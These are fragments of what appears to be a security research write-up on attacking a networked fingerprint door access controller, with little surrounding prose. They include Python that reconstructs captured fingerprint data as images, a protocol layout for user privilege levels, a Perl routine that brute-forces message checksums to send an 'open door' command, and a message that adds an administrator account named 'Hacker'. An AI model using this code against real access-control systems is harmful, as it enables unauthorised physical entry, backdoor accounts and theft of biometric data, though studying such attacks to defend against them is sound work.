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\x00 – Left Loop 

\x01 – Right Loop 

\x02 – Arch 
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for wrap in range(100,150): # try plotting in x axis from wraparound of 100 to 150 

 # create new greyscale image 

 newIm = Image.new ("L", (150,150)) 

 putpixel = newIm.putpixel 

 x = 0 

 y = 0 

 # plot all captured image data  

 for p in range(len(data)): 

  # get the pixel colour value 

  col = ord(data[p]) 

  putpixel((x, y), col) 

  x = x + 1 

  # if we've reached current wrap, plot on next line 

  if x == wrap: 

   x = 0 

   y = y + 1 

 # save the plotted image 

 newIm.save("fingerprint" + str(wrap) + ".jpg") 
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<New User Message> = <User ID number><Privilege><Password><Name><Device Number> 
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• \x00 – user disabled 

• \x01 - normal user 

• \x02 - manager 

• \x03 - administrator 
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sub bruteforce_message { 

 $session = shift; # get the session ID after issuing “wake-up” message 

 $device = shift; # get the device number to which to issue the open door command 

# send open door message with session identifier and all possible checksum values  

# contained within two byte variables $v1 and $v2 

 for($v1 = 0; $v1 < 256; $v1++) { 

  for($v2 = 0; $v2 < 256; $v2++) { 

$open_door = "\x0a" . chr($v1) . chr($v2) . $session . $device; 

# write the message to the socket 

   print $sock $open_door; 

# incure a slight delay before transmitting next packet 

   select(undef, undef, undef, 0.001); 

  } 

 } 

} 

$add_user = "\x0a" . chr($v1) . chr($v2) . $session . “65534\x031234Hacker\x00”; 
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